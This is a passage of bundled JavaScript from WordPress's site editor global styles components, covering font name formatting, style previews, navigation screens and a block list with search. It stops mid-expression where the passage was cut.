* The input can be a string with the font face name or a string with multiple font face names separated by commas.
* It removes the leading and trailing quotes from the font face name.
*
* @param {string} input - The font face name.
* @return {string} The formatted font face name.
*
* Example:
* formatFontFaceName("Open Sans") => "Open Sans"
* formatFontFaceName("'Open Sans', sans-serif") => "Open Sans"
* formatFontFaceName(", 'Open Sans', 'Helvetica Neue', sans-serif") => "Open Sans"
*/
function formatFontFaceName(input) {
if (!input) {
return '';
}
let output = input.trim();
if (output.includes(',')) {
output = output.split(',')
// finds the first item that is not an empty string.
.find(item => item.trim() !== '').trim();
}
// removes leading and trailing quotes.
output = output.replace(/^["']|["']$/g, '');
// Firefox needs the font name to be wrapped in double quotes meanwhile other browsers don't.
if (window.navigator.userAgent.toLowerCase().includes('firefox')) {
output = `"${output}"`;
}
return output;
}
function getFamilyPreviewStyle(family) {
const style = {
fontFamily: formatFontFamily(family.fontFamily)
};
if (!Array.isArray(family.fontFace)) {
style.fontWeight = '400';
style.fontStyle = 'normal';
return style;
}
if (family.fontFace) {
//get all the font faces with normal style
const normalFaces = family.fontFace.filter(face => face?.fontStyle && face.fontStyle.toLowerCase() === 'normal');
if (normalFaces.length > 0) {
style.fontStyle = 'normal';
const normalWeights = extractFontWeights(normalFaces);
const nearestWeight = findNearest(400, normalWeights);
style.fontWeight = String(nearestWeight) || '400';
} else {
style.fontStyle = family.fontFace.length && family.fontFace[0].fontStyle || 'normal';
style.fontWeight = family.fontFace.length && String(family.fontFace[0].fontWeight) || '400';
}
}
return style;
}
function getFacePreviewStyle(face) {
return {
fontFamily: formatFontFamily(face.fontFamily),
fontStyle: face.fontStyle || 'normal',
fontWeight: face.fontWeight || '400'
};
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/utils.js
/**
*
* @param {string} variation The variation name.
*
* @return {string} The variation class name.
*/
function getVariationClassName(variation) {
if (!variation) {
return '';
}
return `is-style-${variation}`;
}
/**
* Iterates through the presets array and searches for slugs that start with the specified
* slugPrefix followed by a numerical suffix. It identifies the highest numerical suffix found
* and returns one greater than the highest found suffix, ensuring that the new index is unique.
*
* @param {Array} presets The array of preset objects, each potentially containing a slug property.
* @param {string} slugPrefix The prefix to look for in the preset slugs.
*
* @return {number} The next available index for a preset with the specified slug prefix, or 1 if no matching slugs are found.
*/
function getNewIndexFromPresets(presets, slugPrefix) {
const nameRegex = new RegExp(`^${slugPrefix}([\\d]+)$`);
const highestPresetValue = presets.reduce((currentHighest, preset) => {
if (typeof preset?.slug === 'string') {
const matches = preset?.slug.match(nameRegex);
if (matches) {
const id = parseInt(matches[1], 10);
if (id > currentHighest) {
return id;
}
}
}
return currentHighest;
}, 0);
return highestPresetValue + 1;
}
function getFontFamilyFromSetting(fontFamilies, setting) {
if (!Array.isArray(fontFamilies) || !setting) {
return null;
}
const fontFamilyVariable = setting.replace('var(', '').replace(')', '');
const fontFamilySlug = fontFamilyVariable?.split('--').slice(-1)[0];
return fontFamilies.find(fontFamily => fontFamily.slug === fontFamilySlug);
}
function getFontFamilies(themeJson) {
const themeFontFamilies = themeJson?.settings?.typography?.fontFamilies?.theme;
const customFontFamilies = themeJson?.settings?.typography?.fontFamilies?.custom;
let fontFamilies = [];
if (themeFontFamilies && customFontFamilies) {
fontFamilies = [...themeFontFamilies, ...customFontFamilies];
} else if (themeFontFamilies) {
fontFamilies = themeFontFamilies;
} else if (customFontFamilies) {
fontFamilies = customFontFamilies;
}
const bodyFontFamilySetting = themeJson?.styles?.typography?.fontFamily;
const bodyFontFamily = getFontFamilyFromSetting(fontFamilies, bodyFontFamilySetting);
const headingFontFamilySetting = themeJson?.styles?.elements?.heading?.typography?.fontFamily;
let headingFontFamily;
if (!headingFontFamilySetting) {
headingFontFamily = bodyFontFamily;
} else {
headingFontFamily = getFontFamilyFromSetting(fontFamilies, themeJson?.styles?.elements?.heading?.typography?.fontFamily);
}
return [bodyFontFamily, headingFontFamily];
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/typography-example.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalStyle: typography_example_useGlobalStyle,
GlobalStylesContext: typography_example_GlobalStylesContext
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
mergeBaseAndUserConfigs
} = unlock(external_wp_editor_namespaceObject.privateApis);
function PreviewTypography({
fontSize,
variation
}) {
const {
base
} = (0,external_wp_element_namespaceObject.useContext)(typography_example_GlobalStylesContext);
let config = base;
if (variation) {
config = mergeBaseAndUserConfigs(base, variation);
}
const [textColor] = typography_example_useGlobalStyle('color.text');
const [bodyFontFamilies, headingFontFamilies] = getFontFamilies(config);
const bodyPreviewStyle = bodyFontFamilies ? getFamilyPreviewStyle(bodyFontFamilies) : {};
const headingPreviewStyle = headingFontFamilies ? getFamilyPreviewStyle(headingFontFamilies) : {};
if (textColor) {
bodyPreviewStyle.color = textColor;
headingPreviewStyle.color = textColor;
}
if (fontSize) {
bodyPreviewStyle.fontSize = fontSize;
headingPreviewStyle.fontSize = fontSize;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__unstableMotion.div, {
animate: {
scale: 1,
opacity: 1
},
initial: {
scale: 0.1,
opacity: 0
},
transition: {
delay: 0.3,
type: 'tween'
},
style: {
textAlign: 'center',
lineHeight: 1
},
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
style: headingPreviewStyle,
children: (0,external_wp_i18n_namespaceObject._x)('A', 'Uppercase letter A')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
style: bodyPreviewStyle,
children: (0,external_wp_i18n_namespaceObject._x)('a', 'Lowercase letter A')
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/highlighted-colors.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function HighlightedColors({
normalizedColorSwatchSize,
ratio
}) {
const {
highlightedColors
} = useStylesPreviewColors();
const scaledSwatchSize = normalizedColorSwatchSize * ratio;
return highlightedColors.map(({
slug,
color
}, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
style: {
height: scaledSwatchSize,
width: scaledSwatchSize,
background: color,
borderRadius: scaledSwatchSize / 2
},
animate: {
scale: 1,
opacity: 1
},
initial: {
scale: 0.1,
opacity: 0
},
transition: {
delay: index === 1 ? 0.2 : 0.1
}
}, `${slug}-${index}`));
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/preview-wrapper.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalStyle: preview_wrapper_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const normalizedWidth = 248;
const normalizedHeight = 152;
// Throttle options for useThrottle. Must be defined outside of the component,
// so that the object reference is the same on each render.
const THROTTLE_OPTIONS = {
leading: true,
trailing: true
};
function PreviewWrapper({
children,
label,
isFocused,
withHoverView
}) {
const [backgroundColor = 'white'] = preview_wrapper_useGlobalStyle('color.background');
const [gradientValue] = preview_wrapper_useGlobalStyle('color.gradient');
const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
const [isHovered, setIsHovered] = (0,external_wp_element_namespaceObject.useState)(false);
const [containerResizeListener, {
width
}] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
const [throttledWidth, setThrottledWidthState] = (0,external_wp_element_namespaceObject.useState)(width);
const [ratioState, setRatioState] = (0,external_wp_element_namespaceObject.useState)();
const setThrottledWidth = (0,external_wp_compose_namespaceObject.useThrottle)(setThrottledWidthState, 250, THROTTLE_OPTIONS);
// Must use useLayoutEffect to avoid a flash of the container at the wrong
// size before the width is set.
(0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
if (width) {
setThrottledWidth(width);
}
}, [width, setThrottledWidth]);
// Must use useLayoutEffect to avoid a flash of the container at the wrong
// size before the width is set.
(0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
const newRatio = throttledWidth ? throttledWidth / normalizedWidth : 1;
const ratioDiff = newRatio - (ratioState || 0);
// Only update the ratio state if the difference is big enough
// or if the ratio state is not yet set. This is to avoid an
// endless loop of updates at particular viewport heights when the
// presence of a scrollbar causes the width to change slightly.
const isRatioDiffBigEnough = Math.abs(ratioDiff) > 0.1;
if (isRatioDiffBigEnough || !ratioState) {
setRatioState(newRatio);
}
}, [throttledWidth, ratioState]);
// Set a fallbackRatio to use before the throttled ratio has been set.
const fallbackRatio = width ? width / normalizedWidth : 1;
/*
* Use the throttled ratio if it has been calculated, otherwise
* use the fallback ratio. The throttled ratio is used to avoid
* an endless loop of updates at particular viewport heights.
* See: https://github.com/WordPress/gutenberg/issues/55112
*/
const ratio = ratioState ? ratioState : fallbackRatio;
const isReady = !!width;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
style: {
position: 'relative'
},
children: containerResizeListener
}), isReady && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-global-styles-preview__wrapper",
style: {
height: normalizedHeight * ratio
},
onMouseEnter: () => setIsHovered(true),
onMouseLeave: () => setIsHovered(false),
tabIndex: -1,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
style: {
height: normalizedHeight * ratio,
width: '100%',
background: gradientValue !== null && gradientValue !== void 0 ? gradientValue : backgroundColor,
cursor: withHoverView ? 'pointer' : undefined
},
initial: "start",
animate: (isHovered || isFocused) && !disableMotion && label ? 'hover' : 'start',
children: [].concat(children) // This makes sure children is always an array.
.map((child, key) => child({
ratio,
key
}))
})
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/preview-styles.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalStyle: preview_styles_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const firstFrameVariants = {
start: {
scale: 1,
opacity: 1
},
hover: {
scale: 0,
opacity: 0
}
};
const midFrameVariants = {
hover: {
opacity: 1
},
start: {
opacity: 0.5
}
};
const secondFrameVariants = {
hover: {
scale: 1,
opacity: 1
},
start: {
scale: 0,
opacity: 0
}
};
const PreviewStyles = ({
label,
isFocused,
withHoverView,
variation
}) => {
const [fontWeight] = preview_styles_useGlobalStyle('typography.fontWeight');
const [fontFamily = 'serif'] = preview_styles_useGlobalStyle('typography.fontFamily');
const [headingFontFamily = fontFamily] = preview_styles_useGlobalStyle('elements.h1.typography.fontFamily');
const [headingFontWeight = fontWeight] = preview_styles_useGlobalStyle('elements.h1.typography.fontWeight');
const [textColor = 'black'] = preview_styles_useGlobalStyle('color.text');
const [headingColor = textColor] = preview_styles_useGlobalStyle('elements.h1.color.text');
const {
paletteColors
} = useStylesPreviewColors();
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(PreviewWrapper, {
label: label,
isFocused: isFocused,
withHoverView: withHoverView,
children: [({
ratio,
key
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
variants: firstFrameVariants,
style: {
height: '100%',
overflow: 'hidden'
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
spacing: 10 * ratio,
justify: "center",
style: {
height: '100%',
overflow: 'hidden'
},
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreviewTypography, {
fontSize: 65 * ratio,
variation: variation
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 4 * ratio,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(HighlightedColors, {
normalizedColorSwatchSize: 32,
ratio: ratio
})
})]
})
}, key), ({
key
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
variants: withHoverView && midFrameVariants,
style: {
height: '100%',
width: '100%',
position: 'absolute',
top: 0,
overflow: 'hidden',
filter: 'blur(60px)',
opacity: 0.1
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
spacing: 0,
justify: "flex-start",
style: {
height: '100%',
overflow: 'hidden'
},
children: paletteColors.slice(0, 4).map(({
color
}, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
style: {
height: '100%',
background: color,
flexGrow: 1
}
}, index))
})
}, key), ({
ratio,
key
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
variants: secondFrameVariants,
style: {
height: '100%',
width: '100%',
overflow: 'hidden',
position: 'absolute',
top: 0
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 3 * ratio,
justify: "center",
style: {
height: '100%',
overflow: 'hidden',
padding: 10 * ratio,
boxSizing: 'border-box'
},
children: label && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
style: {
fontSize: 40 * ratio,
fontFamily: headingFontFamily,
color: headingColor,
fontWeight: headingFontWeight,
lineHeight: '1em',
textAlign: 'center'
},
children: label
})
})
}, key)]
});
};
/* harmony default export */ const preview_styles = (PreviewStyles);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-root.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalStyle: screen_root_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ScreenRoot() {
const [customCSS] = screen_root_useGlobalStyle('css');
const {
hasVariations,
canEditCSS
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getEntityRecord,
__experimentalGetCurrentGlobalStylesId,
__experimentalGetCurrentThemeGlobalStylesVariations
} = select(external_wp_coreData_namespaceObject.store);
const globalStylesId = __experimentalGetCurrentGlobalStylesId();
const globalStyles = globalStylesId ? getEntityRecord('root', 'globalStyles', globalStylesId) : undefined;
return {
hasVariations: !!__experimentalGetCurrentThemeGlobalStylesVariations()?.length,
canEditCSS: !!globalStyles?._links?.['wp:action-edit-css']
};
}, []);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Card, {
size: "small",
isBorderless: true,
className: "edit-site-global-styles-screen-root",
isRounded: false,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CardBody, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 4,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Card, {
className: "edit-site-global-styles-screen-root__active-style-tile",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CardMedia, {
className: "edit-site-global-styles-screen-root__active-style-tile-preview",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(preview_styles, {})
})
}), hasVariations && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
path: "/variations",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "space-between",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: (0,external_wp_i18n_namespaceObject.__)('Browse styles')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(IconWithCurrentColor, {
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right
})]
})
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(root_menu, {})]
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CardDivider, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.CardBody, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
as: "p",
paddingTop: 2
/*
* 13px matches the text inset of the NavigationButton (12px padding, plus the width of the button's border).
* This is an ad hoc override for this instance and the Additional CSS option below. Other options for matching the
* the nav button inset should be looked at before reusing further.
*/,
paddingX: "13px",
marginBottom: 4,
children: (0,external_wp_i18n_namespaceObject.__)('Customize the appearance of specific blocks for the whole site.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
path: "/blocks",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "space-between",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: (0,external_wp_i18n_namespaceObject.__)('Blocks')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(IconWithCurrentColor, {
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right
})]
})
})
})]
}), canEditCSS && !!customCSS && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CardDivider, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.CardBody, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
as: "p",
paddingTop: 2,
paddingX: "13px",
marginBottom: 4,
children: (0,external_wp_i18n_namespaceObject.__)('Add your own CSS to customize the appearance and layout of your site.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
path: "/css",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "space-between",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: (0,external_wp_i18n_namespaceObject.__)('Additional CSS')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(IconWithCurrentColor, {
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right
})]
})
})
})]
})]
})]
});
}
/* harmony default export */ const screen_root = (ScreenRoot);
;// external ["wp","a11y"]
const external_wp_a11y_namespaceObject = window["wp"]["a11y"];
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/variations/variations-panel.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalStyle: variations_panel_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
// Only core block styles (source === block) or block styles with a matching
// theme.json style variation will be configurable via Global Styles.
function getFilteredBlockStyles(blockStyles, variations) {
return blockStyles?.filter(style => style.source === 'block' || variations.includes(style.name));
}
function useBlockVariations(name) {
const blockStyles = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getBlockStyles
} = select(external_wp_blocks_namespaceObject.store);
return getBlockStyles(name);
}, [name]);
const [variations] = variations_panel_useGlobalStyle('variations', name);
const variationNames = Object.keys(variations !== null && variations !== void 0 ? variations : {});
return getFilteredBlockStyles(blockStyles, variationNames);
}
function VariationsPanel({
name
}) {
const coreBlockStyles = useBlockVariations(name);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
isBordered: true,
isSeparated: true,
children: coreBlockStyles.map((style, index) => {
if (style?.isDefault) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
path: '/blocks/' + encodeURIComponent(name) + '/variations/' + encodeURIComponent(style.name),
children: style.label
}, index);
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/header.js
/**
* WordPress dependencies
*/
function ScreenHeader({
title,
description,
onBack
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 0,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalView, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
marginBottom: 0,
paddingX: 4,
paddingY: 3,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
spacing: 2,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Navigator.BackButton, {
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right : chevron_left,
size: "small",
label: (0,external_wp_i18n_namespaceObject.__)('Back'),
onClick: onBack
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
className: "edit-site-global-styles-header",
level: 2,
size: 13,
children: title
})
})]
})
})
}), description && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
className: "edit-site-global-styles-header__description",
children: description
})]
});
}
/* harmony default export */ const header = (ScreenHeader);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-block-list.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useHasDimensionsPanel: screen_block_list_useHasDimensionsPanel,
useHasTypographyPanel: screen_block_list_useHasTypographyPanel,
useHasBorderPanel,
useGlobalSetting: screen_block_list_useGlobalSetting,
useSettingsForBlockElement: screen_block_list_useSettingsForBlockElement,
useHasColorPanel: screen_block_list_useHasColorPanel
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function useSortedBlockTypes() {
const blockItems = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_blocks_namespaceObject.store).getBlockTypes(), []);
// Ensure core blocks are prioritized in the returned results,
// because third party blocks can be registered earlier than
// the core blocks (usually by using the `init` action),
// thus affecting the display order.
// We don't sort reusable blocks as they are handled differently.
const groupByType = (blocks, block) => {
const {
core,
noncore
} = blocks;
const type = block.name.startsWith('core/') ? core : noncore;
type.push(block);
return blocks;
};
const {
core: coreItems,
noncore: nonCoreItems
} = blockItems.reduce(groupByType, {
core: [],
noncore: []
});
return [...coreItems, ...nonCoreItems];
}
function useBlockHasGlobalStyles(blockName) {
const [rawSettings] = screen_block_list_useGlobalSetting('', blockName);
const settings = screen_block_list_useSettingsForBlockElement(rawSettings, blockName);
const hasTypographyPanel = screen_block_list_useHasTypographyPanel(settings);
const hasColorPanel = screen_block_list_useHasColorPanel(settings);
const hasBorderPanel = useHasBorderPanel(settings);
const hasDimensionsPanel = screen_block_list_useHasDimensionsPanel(settings);
const hasLayoutPanel = hasBorderPanel || hasDimensionsPanel;
const hasVariationsPanel = !!useBlockVariations(blockName)?.length;
const hasGlobalStyles = hasTypographyPanel || hasColorPanel || hasLayoutPanel || hasVariationsPanel;
return hasGlobalStyles;
}
function BlockMenuItem({
block
}) {
const hasBlockMenuItem = useBlockHasGlobalStyles(block.name);
if (!hasBlockMenuItem) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
path: '/blocks/' + encodeURIComponent(block.name),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "flex-start",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, {
icon: block.icon
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: block.title
})]
})
});
}
function BlockList({
filterValue
}) {
const sortedBlockTypes = useSortedBlockTypes();
const debouncedSpeak = (0,external_wp_compose_namespaceObject.useDebounce)(external_wp_a11y_namespaceObject.speak, 500);
const {
isMatchingSearchTerm
} = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blocks_namespaceObject.store);
const filteredBlockTypes = !filterValue ? sortedBlockTypes : sortedBlockTypes.filter(blockType => isMatchingSearchTerm(blockType, filterValue));
const blockTypesListRef = (0,external_wp_element_namespaceObject.useRef)();
// Announce search results on change
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (!filterValue) {
return;
}
// We extract the results from the wrapper div's `ref` because
// filtered items can contain items that will eventually not
// render and there is no reliable way to detect when a child
// will return `null`.
// TODO: We should find a better way of handling this as it's
// fragile and depends on the number of rendered elements of `BlockMenuItem`,
// which is now one.
// @see https://github.com/WordPress/gutenberg/pull/39117#discussion_r816022116
const count = blockTypesListRef.current.childElementCount;
const resultsFoundMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %d: number of results. */
(0,external_wp_i18n_namespaceObject._n)('%d result found.', '%d results found.', count), count);
debouncedSpeak(resultsFoundMessage, count);
}, [filterValue, debouncedSpeak]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
ref: blockTypesListRef,
className: "edit-site-block-types-item-list"
// By default, BlockMenuItem has a role=listitem so this div must have a list role.
,
role: "list",
children: filteredBlockTypes.length === 0 ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
align: "center",
as: "p",
children: (0,external_wp_i18n_namespaceObject.__)('No blocks found.')
}) : filteredBlockTypes.map(block => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockMenuItem, {
block: block
}, 'menu-itemblock-' + block.name))
});
}
const MemoizedBlockList = (0,external_wp_element_namespaceObject.memo)(BlockList);
function ScreenBlockList() {
const [filterValue, setFilterValue] = (0,external_wp_element_namespaceObject.useState)('');
const deferredFilterValue = (0,external_wp_element_namespaceObject.useDeferredValue)(filterValue);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
title: (0,external_wp_i18n_namespaceObject.__)('Blocks'),
description: (0,external_wp_i18n_namespaceObject.__)('Customize the appearance of specific blocks and for the whole site.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SearchControl, {
__nextHasNoMarginBottom: true,
className: "edit-site-block-types-search",
onChange: setFilterValue,
value: filterValue,
label: (0,external_wp_i18n_namespaceObject.__)('Search'),
placeholder: (0,external_wp_i18n_namespaceObject.__)('Search')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MemoizedBlockList, {
filterValue: deferredFilterValue
})]
});
}
/* harmony default export */ const screen_block_list = (ScreenBlockList);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/block-preview-panel.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const BlockPreviewPanel = ({
name,
variation = ''
}) => {
var _blockExample$viewpor;
const blockExample = (0,external_wp_blocks_namespaceObject.getBlockType)(name)?.example;
const blocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (!blockExample) {
return null;
}
const example = {
...blockExample,
attributes: {
...blockExample.attributes,
style: undefined,
className: variation ? getVariationClassName(variation) : blockExample.attributes?.className
}
};
return (0,external_wp_blocks_namespaceObject.getBlockFromExample)(name, example);
}, [name, blockExample, variation]);
const viewportWidth = (_blockExample$viewpor = blockExample?.viewportWidth) !== null && _blockExample$viewpor !== void 0 ? _blockExample$viewpor : 500;
// Same as height of InserterPreviewPanel.
const previewHeight = 144;
const sidebarWidth = 235;
const scale = sidebarWidth / viewportWidth;
const minHeight = scale !== 0 && scale < 1 && previewHeight ? previewHeight / scale : previewHeight;
if (!blockExample) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
marginX: 4,
marginBottom: 4,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-global-styles__block-preview-panel",
style: {
maxHeight: previewHeight,
boxSizing: 'initial'
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview, {
blocks: blocks,
viewportWidth: viewportWidth,
minHeight: previewHeight,
additionalStyles:
